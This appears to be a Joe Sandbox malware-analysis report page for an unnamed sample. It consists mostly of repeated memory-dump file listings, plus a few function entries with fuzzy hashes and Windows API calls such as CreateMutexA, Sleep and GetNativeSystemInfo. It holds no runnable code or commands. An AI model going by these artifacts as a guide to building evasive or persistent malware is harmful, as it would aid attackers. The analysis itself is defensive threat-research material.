Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5e047733216a474f2c6db09c6cdf87d842017de8fcc1e79a070c122affc3f014
Instruction ID: da4782b828ea071b532b5f4579d5e4fada60962e2efd0c92d7a97a8529babedb
Opcode Fuzzy Hash: 5e047733216a474f2c6db09c6cdf87d842017de8fcc1e79a070c122affc3f014
Instruction Fuzzy Hash: C33128B16002088BEB18EBB8DCC9BBDBBB2DBE5310F248258F519D73D1C77659808752

Function 00AF9ADC Relevance: 3.1, APIs: 2, Instructions: 107
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: c26f1e46b4dbbd4b5a352ac5680f397bdeaba43ca38031edd1ac745ffc7956c8
Instruction ID: c9c4cb1491b0c3860c5d2dd9337db2919875a2b3aead46f1619b3d771b3f1331
Opcode Fuzzy Hash: c26f1e46b4dbbd4b5a352ac5680f397bdeaba43ca38031edd1ac745ffc7956c8
Instruction Fuzzy Hash: 3E2137717442049BEB18AFA8ECC577DB7A2EBD1310F204269F518873D5DBB659808712

Function 00AFA856 Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 5563f1bb57711947e517828575cc550894dde6151f7315ea365ac06243840dbc
Instruction ID: 56df64ea3a506b821af86fe933ee55eb82549fdd9d10c9497a3f093b1409f3ef
Opcode Fuzzy Hash: 5563f1bb57711947e517828575cc550894dde6151f7315ea365ac06243840dbc
Instruction Fuzzy Hash: E02190B02442098AF724ABE888D67BDB392DFA1740F204456F70CD73D1CFB6498041D3

Function 00AFA34F Relevance: 3.1, APIs: 2, Instructions: 100
sleepsynchronizationCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32(00000064), ref: 00AFA963
CreateMutexA.KERNEL32(00000000,00000000,00B53254), ref: 00AFA981

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: CreateMutexSleep
String ID:
API String ID: 1464230837-0
Opcode ID: 7565de0cb14f157d8a933338dc14b46290bc3e580ce8aed0b52bce40c0900194
Instruction ID: 51beb37678b5993692b7b2f5dfbc1aff0f59f75225710c1030070e7a9b451f7a
Opcode Fuzzy Hash: 7565de0cb14f157d8a933338dc14b46290bc3e580ce8aed0b52bce40c0900194
Instruction Fuzzy Hash: B2216A717542049BEB08DFA8DCC57BDB7A2DBE1311F204269F5089B7D0CB7655808352

Function 00AF7D30 Relevance: 1.9, APIs: 1, Instructions: 426
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

GetNativeSystemInfo.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,?,00000000), ref: 00AF7ED3

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714534344.0000000000CFE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714551759.0000000000D16000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714570005.0000000000D29000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714587777.0000000000D42000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714602370.0000000000D46000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714615365.0000000000D47000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714629741.0000000000D4B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714642512.0000000000D4C000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714655959.0000000000D51000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714669017.0000000000D52000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714682791.0000000000D56000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714696959.0000000000D5F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714712418.0000000000D62000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714725560.0000000000D63000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714738638.0000000000D65000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714751803.0000000000D66000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714765774.0000000000D6C000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714780261.0000000000D73000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714794271.0000000000D76000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714808997.0000000000D7F000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000D82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714823830.0000000000DC2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714947535.0000000000DEE000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714963082.0000000000DF0000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714976692.0000000000DF1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714991490.0000000000DF5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715005029.0000000000DF7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715020699.0000000000E06000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1715033948.0000000000E07000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_af0000_file.jbxd

Yara matches

Similarity

API ID: InfoNativeSystem
String ID:
API String ID: 1721193555-0
Opcode ID: fa02f827b69812a0d7fefb4501326459cf588fa55d769e4a028fa736428a5862
Instruction ID: 1299145534e0114ee6ac5f9d4269b42c6956594d725e3c86528dc0bc7aa070c8
Opcode Fuzzy Hash: fa02f827b69812a0d7fefb4501326459cf588fa55d769e4a028fa736428a5862
Instruction Fuzzy Hash: 5EE1F971E002489BDB14BBA8CD4B7AD7BA1AB42710F9402DCF9156B3D2DF355E858BC2

Function 00B2D82F Relevance: 1.5, APIs: 1, Instructions: 40
memoryCOMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

RtlAllocateHeap.NTDLL(00000008,?,00000000,?,00B2A813,00000001,00000364,00000006,000000FF,?,00B2EE3F,?,00000004,00000000,?,?), ref: 00B2D871

Memory Dump Source

Source File: 00000000.00000002.1714200567.0000000000AF1000.00000040.00000001.01000000.00000003.sdmp, Offset: 00AF0000, based on PE: true

Associated: 00000000.00000002.1714187226.0000000000AF0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714200567.0000000000B52000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714254041.0000000000B59000.00000008.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714268085.0000000000B5B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714287404.0000000000B67000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714378375.0000000000CBE000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714393975.0000000000CC1000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CD8000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714412538.0000000000CE4000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714440941.0000000000CE7000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714454176.0000000000CEA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714467867.0000000000CEB000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714480785.0000000000CEC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714495273.0000000000CF8000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714508425.0000000000CFA000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.1714521307.0000000000CFB000.00000080.00000001.01000000.00000003.sdmpDownload File
